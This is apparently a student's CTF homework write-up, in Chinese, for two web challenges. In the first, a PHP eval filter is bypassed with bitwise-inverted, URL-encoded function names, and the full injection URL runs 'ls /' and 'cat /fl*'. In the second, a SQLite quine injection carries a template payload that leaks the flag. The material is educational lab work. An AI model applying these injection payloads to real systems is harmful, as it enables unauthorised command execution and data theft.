###### tags: `CTF` # hw5 [TOC] ## id - id : p870613 - student id: 309551042 - source: https://hackmd.io/g_pYqtR2Q_iYP6OyGgikeg ## (#°д°) - idea - 看到 preg_match('/[a-z0-9`]/i',$🐱) 就知道不能正常輸入了 - 後面有@eval($🐱) 可以執行東西 但是長度被限制32 - 談一下 `eval()` - 裡面要給字串 所以變這樣 ![](https://i.imgur.com/3Ui6N1W.png) - 原本思路 `PHPFUCK`或許可行 但長度過不了 - 接下來GOOGLE "preg_match" 發現神奇方法 利用`~`取字元bit inverse 傳進去之後 再用回來 然後思考了一下 有些東西不是printable的啊 - 然後又思考許久 發現urlencode可已解決這問題 所以步驟是先 inverse再urlencode - `system` inverse成 `%8C%86%8C%8B%9A%92` `ls /` 變成 `%93%8C%DF%D0` - `https://php.splitline.tw/?(%23%C2%B0%D0%B4%C2%B0)=(~(%8C%86%8C%8B%9A%92))(~(%93%8C%DF%D0));` 就有`ls /` 發現有flag ![](https://i.imgur.com/Ylxfxse.png) - 之後'cat /fl*' 就可 ![](https://i.imgur.com/9HEVxhg.png) ## VISUAL BASIC 2077 - idea - 感謝喵喵助教提供hint: quine - quine的想法 說簡單一點 就是把自己的source code 印出來 sqlite的quine 就是包一堆`replace` - 不知道哪裡講 就先講一下再網路上找的sql(為了幫助理解 所以加了換行) ```sql ' union SELECT REPLACE( REPLACE('" union SELECT REPLACE( REPLACE( "$",CHAR(34),CHAR(39) ), CHAR(36),"$" ), replace("","","") -- "',CHAR(34),CHAR(39) ),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)), CHAR(36),"$"), replace("","","") --' ),replace('','','') ``` - 從第2層的`REPLACE`開始講 單引號裡面是需要被替代的字元 然後把所以的雙引號換成單引號 ```sql REPLACE('" union SELECT REPLACE( REPLACE( "$",CHAR(34),CHAR(39) ), CHAR(36),"$" ), replace("","","") -- "',CHAR(34),CHAR(39) ) ``` - 第3層的`REPLACE` - 第4層的`REPLACE` 出來是'$' ```sql REPLACE( "$",CHAR(34),CHAR(39) ) ``` - 所以第3曾就是 "$"$"$" ```sql REPLACE( '$',CHAR(36),"$" ) ``` - 最後第2曾的結果會變成 然後就會把雙引號換單引號了 ```sql REPLACE(' " union SELECT "$"$"$", replace("","","") -- "',CHAR(34),CHAR(39) ) ``` - 然後把他餵進去第1曾 char(36) 換成後面長長的東西 ```sql REPLACE(' ' union SELECT '$'$'$', replace('','','') -- '' ,CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)), CHAR(36),"$"), replace("","","") --' ``` - 然後就把自己的source code用出來了 - 然後沒有flag = = ![](https://i.imgur.com/HBhn6kl.png) - 前面介紹完quine之後 可以進去但他不會噴flag因為這個 他前面設成false 我動不到 ![](https://i.imgur.com/S2Nh4Nf.png) - 上面那個是因為他繞過了if 所以過了 ![](https://i.imgur.com/dowH321.png) - 所以要在quine加入{flag.flag}讓他噴 ```sql ' union SELECT REPLACE( REPLACE('" union SELECT REPLACE( REPLACE( "$",CHAR(34),CHAR(39) ), CHAR(36),"$" ), replace("","","") -- "{flag.flag}',CHAR(34),CHAR(39) ),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34), CHAR(39)),CHAR(36),"$"), replace("","","") -- "{flag.flag}' ),replace('','','') -- '{flag.flag} ``` - 所以他會在過if之後噴flag ![](https://i.imgur.com/sqSnqaT.png)